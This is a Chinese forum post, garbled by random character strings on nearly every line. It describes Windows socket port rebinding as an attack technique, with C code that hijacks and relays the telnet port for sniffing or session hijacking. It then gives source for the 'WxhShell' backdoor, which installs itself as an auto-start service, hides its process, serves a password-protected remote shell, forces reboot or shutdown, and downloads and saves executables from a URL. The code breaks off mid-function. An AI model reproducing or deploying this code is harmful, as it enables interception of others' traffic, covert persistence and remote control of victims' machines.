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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D 0(gEb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h IGa);g  
nrZv>r  
  saddr.sin_family = AF_INET; ok7DI  
V-jo2+Y5=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !1!uB }  
VB[R!S=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *{C)o0D  
Q,s,EooIx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :}E*u^v K  
QJ$]~)w?H  
  这意味着什么?意味着可以进行如下的攻击: MY0Wr%@#0  
vK6bpzI 3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OnG!5b  
ag] nVE/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  R z[-  
~M <4HC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7C&`i}/t  
#!<x|N?_<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u'=#~'6  
0m?ul%=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 & ??)gMM[  
t[#`%$% '  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PZ"xW0"-  
Muarryh}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $i =-A  
)hn,rmn (P  
  #include !'+t)h9^  
  #include }3+q}_3  
  #include d`^@/1tO  
  #include    z muq4-.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hI?<F^b  
  int main() {a>)VZw_#  
  { 'dBzv>ngD  
  WORD wVersionRequested; Ad]r )d{  
  DWORD ret; 4E"qpy \(  
  WSADATA wsaData; t);5Cw _  
  BOOL val; d/7 c#er  
  SOCKADDR_IN saddr; $bMeL7CN  
  SOCKADDR_IN scaddr; *gBaF/C  
  int err; u_mm*o~)g  
  SOCKET s; #?aR,@n  
  SOCKET sc; fF>H7  
  int caddsize; qT}&XK`Q^  
  HANDLE mt; X_=oJi|:  
  DWORD tid;   +[z(N  
  wVersionRequested = MAKEWORD( 2, 2 ); jP+4'O!s[  
  err = WSAStartup( wVersionRequested, &wsaData ); .&* Tj}p  
  if ( err != 0 ) { KnbP@!+c  
  printf("error!WSAStartup failed!\n"); u |#ruFR  
  return -1; vnIxI a  
  } :s8,i$Ex  
  saddr.sin_family = AF_INET; "i#!  
   V @8X .R>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lMP|$C  
\f._I+gJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iPHMyxT+S  
  saddr.sin_port = htons(23); J\2F%kBej?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {5*+  
  { Z3[,Xw  
  printf("error!socket failed!\n"); D@\97t+  
  return -1; W>+<r9Rt4  
  } c5U1N&k5&  
  val = TRUE; 9N9|hy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hf%W grO.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ib& |271gG  
  { ti'OjoJL  
  printf("error!setsockopt failed!\n"); A~h8 >zz*  
  return -1; `7'(U)x,F  
  } 9#_49euy|P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QI!:+8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {x-g?HB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j^LnHVHk1  
,$CZ (GQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6g$+))g  
  { mD|<qsY)  
  ret=GetLastError(); +y-:(aP  
  printf("error!bind failed!\n"); k ^+h>B-;  
  return -1; $|A vT;4  
  } 783a Z8  
  listen(s,2); c L84}1QD  
  while(1) Ndx='j0  
  { NH|v`rO  
  caddsize = sizeof(scaddr); "zm.jNn  
  //接受连接请求 =L&_6lb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [;};qQ-C2  
  if(sc!=INVALID_SOCKET) S,J'Z:spf  
  { M~3(4,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MLL2V`vBT  
  if(mt==NULL) hWuq  
  { 3{,Mpb@  
  printf("Thread Creat Failed!\n"); sp AYb<  
  break; c*LnLK/m  
  } Be-gGJG  
  } I /RvU,  
  CloseHandle(mt); r\L:JTZ$  
  } f61~%@fE  
  closesocket(s); W*VQ"CW{^]  
  WSACleanup(); _pk=IHGsB  
  return 0; M*@MkN*u&  
  }   e?F r/n  
  DWORD WINAPI ClientThread(LPVOID lpParam) X/'B*y'=U  
  { ?jb7Oq#[  
  SOCKET ss = (SOCKET)lpParam; LgB}!OLQ  
  SOCKET sc; q-p4k`]  
  unsigned char buf[4096]; >Utn[']~  
  SOCKADDR_IN saddr; 6eQrupa  
  long num; T*'5-WV|3t  
  DWORD val; =g?r.;OO  
  DWORD ret; {jr>Z"/q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l$PO!JRD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >oLM2VJ  
  saddr.sin_family = AF_INET; c-`&e-~XKL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4|x5-m+T  
  saddr.sin_port = htons(23); >iaZGXje  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hLO nX<%a  
  { ]_5C5m  
  printf("error!socket failed!\n"); |h8C}P&Z  
  return -1; {9Y@?  
  } ]+,Z()  
  val = 100; 5tQffo8t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zoO>N'b3)  
  { u!;kBs  
  ret = GetLastError(); #F[6$. Gr  
  return -1; XIf,#9  
  } $D8KEkW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R%SsHu">  
  { 7?p%~j  
  ret = GetLastError(); ^oaG.)3  
  return -1; NOo&5@z;H  
  } i Ri1E;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m;8_A|$A  
  { (9'MdH  
  printf("error!socket connect failed!\n"); #O=^%C 7p  
  closesocket(sc); FL0[V,  
  closesocket(ss); *}3~8fu{  
  return -1; Tf*X\{"  
  } |+ @  
  while(1) p5>TL!4M  
  { mN*9X[ >x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Sd}fse  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B*K%&w10~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /|BzpIfpN  
  num = recv(ss,buf,4096,0); o"TEmZUP  
  if(num>0) U{{RRK|  
  send(sc,buf,num,0); 9OP d'f  
  else if(num==0) -N*g|1rpa  
  break; tz._*n83  
  num = recv(sc,buf,4096,0); CuU"s)  
  if(num>0) ^#XxqVdPk  
  send(ss,buf,num,0); '$l*FWOEal  
  else if(num==0) (w@|:0t^y[  
  break; W:hR8 1ci  
  } E$*I.i_m  
  closesocket(ss); &<k )W  
  closesocket(sc); F0]= z-  
  return 0 ; E70  
  } ]';!r20  
9JP{F  
6 3Kec  
========================================================== Z A7u66  
R4p bi=  
下边附上一个代码,,WXhSHELL Zo'lvOpyZ  
?RrJYj1  
========================================================== ?9 2+(s  
C n4|qX"&t  
#include "stdafx.h" 3p$ZHH.UP  
Qa(u+  
#include <stdio.h> }+I 8l'  
#include <string.h> "fS9Nx3  
#include <windows.h> _U/etlDTO  
#include <winsock2.h> Oj~k1+*  
#include <winsvc.h> ()3+! };  
#include <urlmon.h> 2 R1S>X  
j&[63XSe  
#pragma comment (lib, "Ws2_32.lib") }MuXN<DDb  
#pragma comment (lib, "urlmon.lib") v#=WdaNz  
tE<L4;t  
#define MAX_USER   100 // 最大客户端连接数 Ypha{d  
#define BUF_SOCK   200 // sock buffer A]Q4fD1q  
#define KEY_BUFF   255 // 输入 buffer hq(3%- 7&  
!>gc!8Y'o  
#define REBOOT     0   // 重启 !W n'Ae9  
#define SHUTDOWN   1   // 关机 OjyS ?YY)b  
5#q ^lL  
#define DEF_PORT   5000 // 监听端口 |0A n| 18  
|LiFX5!\  
#define REG_LEN     16   // 注册表键长度 s^js}9]p  
#define SVC_LEN     80   // NT服务名长度 9]7+fu  
DEqk9Exk`  
// 从dll定义API Ay"x<JB{U2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Q#ArMMORI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vWjK[5 M%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bbA+ZLZJn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AY,6Ddw  
a5]~%xdK  
// wxhshell配置信息 N~Ax78TX  
struct WSCFG { 4$SW~BpQ  
  int ws_port;         // 监听端口 rS)7D  
  char ws_passstr[REG_LEN]; // 口令 w.^k':,"  
  int ws_autoins;       // 安装标记, 1=yes 0=no z&cfFx#h)  
  char ws_regname[REG_LEN]; // 注册表键名 ely&'y!  
  char ws_svcname[REG_LEN]; // 服务名 wp.'M?6`L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~O |j*T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gd#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |'Ve75 W6u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i|.!*/qF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :mL\KQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Scxf5x-  
DCP "  
}; V +*Vi^  
QBai;p{  
// default Wxhshell configuration .:l78>f  
struct WSCFG wscfg={DEF_PORT, .Uha%~%  
    "xuhuanlingzhe", u&2uQ-T0  
    1, [C P V5\2  
    "Wxhshell", Hagj^8  
    "Wxhshell", ?8YHz  
            "WxhShell Service", zSDiJ$Xk  
    "Wrsky Windows CmdShell Service", "2Js[uf  
    "Please Input Your Password: ", 6;[iX`LL  
  1, q+|Dm<Ug  
  "http://www.wrsky.com/wxhshell.exe", :%!=Ej.J  
  "Wxhshell.exe" )k0bP1oGS  
    }; /HI#8  
dRas9g  
// 消息定义模块 }[D[ZLv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NVJvCs)3f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3U1xKF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^9qncvV  
char *msg_ws_ext="\n\rExit."; ;l}TUo  
char *msg_ws_end="\n\rQuit."; vJmE}  
char *msg_ws_boot="\n\rReboot..."; [rE,fR   
char *msg_ws_poff="\n\rShutdown..."; TX*s T  
char *msg_ws_down="\n\rSave to "; z}u  
c>=[|F{{e  
char *msg_ws_err="\n\rErr!"; 4)Z78H%>  
char *msg_ws_ok="\n\rOK!"; /!jn$4fd:  
9QWS[E4  
char ExeFile[MAX_PATH]; ;t[<!  
int nUser = 0; evu@uq  
HANDLE handles[MAX_USER]; c|96;=z~  
int OsIsNt; ;h0?o*i_  
,f} s!>j  
SERVICE_STATUS       serviceStatus; L{<E'#@F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "1h|1'S50?  
|]\qI  
// 函数声明 %8hhk]m\b>  
int Install(void); wU?2aXY  
int Uninstall(void); RHVMlMX  
int DownloadFile(char *sURL, SOCKET wsh); vseuk@>  
int Boot(int flag); #sAEIk/  
void HideProc(void); %|l*=v  
int GetOsVer(void); &ATjDbW*(  
int Wxhshell(SOCKET wsl); }g>&l.2X  
void TalkWithClient(void *cs); mw?,oiT,)  
int CmdShell(SOCKET sock); _g$6vx&  
int StartFromService(void); {9_CH<$W%U  
int StartWxhshell(LPSTR lpCmdLine); <=^YIp  
+4B>gS[ F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AR/`]"'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g0_8:Gs}^  
jNrGsIY$  
// 数据结构和表定义 j/dNRleab  
SERVICE_TABLE_ENTRY DispatchTable[] = cp[4$lu  
{ H }</a%y  
{wscfg.ws_svcname, NTServiceMain}, m:X;dcq'3  
{NULL, NULL} d&.)Dw  
}; Y 1LE.{  
v3.JG]zLpP  
// 自我安装 eUx|_*`  
int Install(void) Tx],- U  
{ u=RF6V|  
  char svExeFile[MAX_PATH]; =;^2#UxXA&  
  HKEY key; Q]IpHNt[>  
  strcpy(svExeFile,ExeFile); e @=Bl-  
U*[/F)!  
// 如果是win9x系统,修改注册表设为自启动 kAf2g  
if(!OsIsNt) { )6IO)P/Q~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WAkKbqJV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mA3C)V  
  RegCloseKey(key); S%g` X   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~H)bvN^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NqlG=pu  
  RegCloseKey(key); c KF 8(  
  return 0; 4}fG{Bk  
    } o D:?fs]  
  } \BUr2]  
} L[Tr"BW  
else { }|AUV  
%'k^aq FL  
// 如果是NT以上系统,安装为系统服务 oy#Qj3M8=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wGLZzqgq  
if (schSCManager!=0) b@z/6y!  
{ hPD2/M  
  SC_HANDLE schService = CreateService PHZA?>Q7Z  
  ( C+*: lLY  
  schSCManager, NC@OmSR\0  
  wscfg.ws_svcname, 'd0]`2tVg4  
  wscfg.ws_svcdisp, u= !?<Q  
  SERVICE_ALL_ACCESS, &*[T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V. \do"m  
  SERVICE_AUTO_START, iHWl%]7sN  
  SERVICE_ERROR_NORMAL, OpUC98p?@  
  svExeFile, trtI^^/%  
  NULL, Z5_U D  
  NULL, tE=P9 \4  
  NULL, 6\/C]![%  
  NULL, >%'|@75K  
  NULL /nGsl<  
  ); hJ+>Xm@@!  
  if (schService!=0) 9q;+ Al^Z  
  { ^hRos  
  CloseServiceHandle(schService); lUUeM\  
  CloseServiceHandle(schSCManager); >/ W:*^g)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0rjxWPc  
  strcat(svExeFile,wscfg.ws_svcname); 7L? ~;;L$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JX`+b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DY0G ;L 3  
  RegCloseKey(key); zF3fpEKe  
  return 0; W@JmG`Sy  
    } :a[L-lr`e  
  } r;I 3N+  
  CloseServiceHandle(schSCManager); QJ-6aB  
} -HS(<V=a?k  
} IbF[nQ  
`=vL?w^QS  
return 1; [|Jz s[  
} Q V4{=1A  
v; &-]ka  
// 自我卸载 >Vn;1|w  
int Uninstall(void) '@ (WT~g  
{ gGH<%nHW1  
  HKEY key; 7b \HbgZ  
aXhgzI5]  
if(!OsIsNt) { W6 f*>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?b:l.0m  
  RegDeleteValue(key,wscfg.ws_regname); &v'e;W  
  RegCloseKey(key); V)f/umT%g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uiPfAPZ  
  RegDeleteValue(key,wscfg.ws_regname); 89k9#i X  
  RegCloseKey(key); RU>T?2  
  return 0; WENPS*0oS]  
  }  -*M/,O  
} A +e ={-*  
} K p ~x  
else { 59F AhEg  
{ajaM'x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BXnSkT7  
if (schSCManager!=0) oV&AJ=|\  
{ vp{jh-&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jDqe)uVvtV  
  if (schService!=0) t+|c)"\5h  
  { .FtW $Y~y  
  if(DeleteService(schService)!=0) { (6L[eWuTn  
  CloseServiceHandle(schService); 8^CL:8lI^\  
  CloseServiceHandle(schSCManager); fnN"a Z  
  return 0; gp$oQh#37;  
  } )lTkqz8v  
  CloseServiceHandle(schService); Z455g/=ye  
  } $NWXn,Y'  
  CloseServiceHandle(schSCManager); N3!x7J7A  
} 7D@O:yO  
} >Ke4lO"  
F)z]QJOw  
return 1; ?MHVkGD  
} `p|{(g'  
-WWa`,:  
// 从指定url下载文件 R0B\| O0Uv  
int DownloadFile(char *sURL, SOCKET wsh) T&H[JQ/h  
{ WSz#g2a  
  HRESULT hr; xrFFmQ<_W  
char seps[]= "/"; Q"h/o"-h  
char *token; 4. 7m*  
char *file; ypSW9n  
char myURL[MAX_PATH]; 1(CpTaa  
char myFILE[MAX_PATH]; WV]Si2pOZ  
<7~HG(ks  
strcpy(myURL,sURL); U,_uy@fE=?  
  token=strtok(myURL,seps); ps\A\aggML  
  while(token!=NULL) _?x*F?5=  
  { =6y4*f  
    file=token; WZOi,  
  token=strtok(NULL,seps); p-POg%|&<  
  } LBh|4S$K  
rwWs\~.H  
GetCurrentDirectory(MAX_PATH,myFILE); :aS8%m  
strcat(myFILE, "\\"); SzR7:U  
strcat(myFILE, file); |JC/A;ZH  
  send(wsh,myFILE,strlen(myFILE),0); w+)MrB-}  
send(wsh,"...",3,0); lfba   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6",S$3q  
  if(hr==S_OK) f02 <u  
return 0; K;a]+9C  
else *e&OpVn  
return 1; &U^6N+l9  
0,a\vs%@X  
} 2MS1<VKZ@  
V^Z"FwWk  
// 系统电源模块 52 ? TLID  
int Boot(int flag) 9lbe[w @  
{ ebxpKtEC  
  HANDLE hToken; 1:h{( %`&  
  TOKEN_PRIVILEGES tkp; 56T<s+X>  
kq&xH;9=.  
  if(OsIsNt) { q+<X*yC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~xZFm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vPz$jeA  
    tkp.PrivilegeCount = 1; "xe %  IS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l*V]54|ON3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t}n:!v"|+O  
if(flag==REBOOT) { $$ma1.t"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ca%s$' d  
  return 0; #usi1UWB#Q  
} :y^0]In  
else { 'id] <<F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p uEu v6F  
  return 0; fTQRn  
} ^Tgu]t   
  } K:hZ  
  else { lO&TSPD^  
if(flag==REBOOT) { v[~e=^IIsl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6g06s @kz  
  return 0; 7VQ|3`!<  
} 5i `q  
else { Gw%P5 r}Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >={?H?C  
  return 0; s$Z zS2d  
} I<yd=#:n  
} `p0+j  
++=t|ZS U  
return 1; ]Y@Db5S$T  
} Z3X/SQ'0  
EX zA(igS  
// win9x进程隐藏模块 GG@GjP<_  
void HideProc(void) sx7;G^93  
{ [*^` rQ  
W?is8r:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /o%J / |  
  if ( hKernel != NULL ) 8s^CE[TA  
  { l-4+{6lz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fP<Tvf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iG*@(  
    FreeLibrary(hKernel); i8t%v  
  } mNhVLB  
 &ig6\&1  
return; 9+><:(,  
} r:.3P  
b'F#Y9  
// 获取操作系统版本 R{={7.As+  
int GetOsVer(void) 8NU<lV`  
{ [l"|x75-  
  OSVERSIONINFO winfo; 2 |]pD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )\oLUuL`;  
  GetVersionEx(&winfo); g+'=#NS}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ai|d`:;  
  return 1; D2<(V,h9  
  else #2AKO/  
  return 0; Lso4Z Z;  
} i~1bfl   
Fb8~2N"3  
// 客户端句柄模块 wNQhz.>y  
int Wxhshell(SOCKET wsl) sv}k_6XgY  
{ ?VUW.-  
  SOCKET wsh; #Xdj:T<*  
  struct sockaddr_in client; MC=pN(l  
  DWORD myID; Jw"fqr  
Q[sj/  
  while(nUser<MAX_USER) i b$2qy  
{ fH{ _X  
  int nSize=sizeof(client); 5ZpU><y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); abAX)R'  
  if(wsh==INVALID_SOCKET) return 1; H$G`e'`OZ  
N`o[iHUj \  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V+04X"  
if(handles[nUser]==0) {DfXn1Cg0U  
  closesocket(wsh); FZdZGK  
else CG!7BP\  
  nUser++; '8RBR%)y  
  } VSf<(udGr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ky:y1\K1^K  
mQ~0cwo)  
  return 0; v>S[} du  
} *SP@`)\D  
&:Mk^DH5  
// 关闭 socket [22>)1<(  
void CloseIt(SOCKET wsh) _c:}i\8R  
{ FR5P;Yz%H  
closesocket(wsh); acG4u+[ ]  
nUser--; [yFf(>B  
ExitThread(0); 8Qm%T7]UFb  
} ?7?hDw_Nk  
IhRWa|{I  
// 客户端请求句柄 I;u1mywd  
void TalkWithClient(void *cs) <.d^jgG(j  
{ L_ &`  
^}VAH#c  
  SOCKET wsh=(SOCKET)cs; ph5rS<  
  char pwd[SVC_LEN]; CN(}0/  
  char cmd[KEY_BUFF]; [9c|!w^F  
char chr[1]; c}$C=s5 h}  
int i,j; +c+i~5B4  
j2dptM3t{  
  while (nUser < MAX_USER) { Wjf,AjL\  
g+:Go9k!F  
if(wscfg.ws_passstr) { <r`^iR)%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JSf \ApX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B:?MMXB  
  //ZeroMemory(pwd,KEY_BUFF); ; fOkR+  
      i=0; N A`qC.K   
  while(i<SVC_LEN) { }hoyjzv]L  
}={TVs^  
  // 设置超时 Pjvzefp  
  fd_set FdRead; !=/wpsH  
  struct timeval TimeOut; ;kE|Vx  
  FD_ZERO(&FdRead); Y<vHL<G  
  FD_SET(wsh,&FdRead); cM|!jnKm  
  TimeOut.tv_sec=8; Tl/!Dn  
  TimeOut.tv_usec=0; ()\=(n!J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v4$"{W;'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8gI f  
&xgKHbg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JA <Hm.V#  
  pwd=chr[0]; 8*$HS.Db'  
  if(chr[0]==0xd || chr[0]==0xa) { 'Edm /+  
  pwd=0; :b~5nftr  
  break; wR(>' ?  
  } vGST{Lz;  
  i++; *IGCFZbp41  
    } Lo{g0~?x*  
ORdS|y;:  
  // 如果是非法用户,关闭 socket 26K sP .-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |mS-<e8LY4  
} gt>k]0  
WR<,[*Mv^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P #PRzt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7kT&}`g.  
G*y! Q  
while(1) { 50E?K!  
l>t0 H($  
  ZeroMemory(cmd,KEY_BUFF); +m>)q4e  
:4\=xGiY  
      // 自动支持客户端 telnet标准   l.iT+T  
  j=0; Md5|j0#p  
  while(j<KEY_BUFF) { n)bbEXO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pPD}>q  
  cmd[j]=chr[0]; xj#anr  
  if(chr[0]==0xa || chr[0]==0xd) { =1SG^rp  
  cmd[j]=0; L\%zNPLS  
  break; j=U^+jAn  
  } 6eB2mcV  
  j++; bd$``(b`v  
    } j8cXv  
l'Kx#y$  
  // 下载文件 Hl*V i3bQU  
  if(strstr(cmd,"http://")) { -(Fhj Ir  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :T9 P9<  
  if(DownloadFile(cmd,wsh)) `P4 3O gA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); />0 Bm`A  
  else {yCE>F\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ij{ K\{y  
  } tso\bxiU  
  else { t3VZjO  
n~mP7X%wE7  
    switch(cmd[0]) { ]*&`J4i  
  G)8H9EV  
  // 帮助 ;4s7\9o  
  case '?': { ny'wS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZQ)vvD<  
    break; 7 ~9Lj  
  } pl.x_E,HP  
  // 安装 PFSh_9. q  
  case 'i': { 8iwH^+h~  
    if(Install()) n5z";:p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b.#0{*/G  
    else "">{8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >V$ S\"  
    break; 0qSf7"3f  
    } &^hLFd7j/  
  // 卸载 1Pp2wpD4iC  
  case 'r': { ?#obNQ"u]  
    if(Uninstall()) fpA%:V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*~t2 :  
    else ai$s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pm>$'z!.):  
    break; dml,|k=  
    } u+Sj#iZ  
  // 显示 wxhshell 所在路径 hx$b Y  
  case 'p': { ~RU-N%Kn  
    char svExeFile[MAX_PATH]; mhv ;pM6  
    strcpy(svExeFile,"\n\r"); j G^f_w  
      strcat(svExeFile,ExeFile);  Uip-qWI  
        send(wsh,svExeFile,strlen(svExeFile),0); ]z#9)i_l3  
    break; "wj~KbT}&  
    } H9Dw#.em  
  // 重启 CYn56eRK  
  case 'b': { W6!o=()  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "x4}FQ  
    if(Boot(REBOOT)) T%TfkQ__d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^bSjE  
    else { ,\'E<O2T  
    closesocket(wsh); y.,li<  
    ExitThread(0); XQI!G_\+C  
    } hEk0MY  
    break; ,b,t^xX>)  
    } Y0;66bfh}  
  // 关机 GbfA-\  
  case 'd': { /`+ubFXc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]?*L"()kp  
    if(Boot(SHUTDOWN)) R^Y>v5jAe  
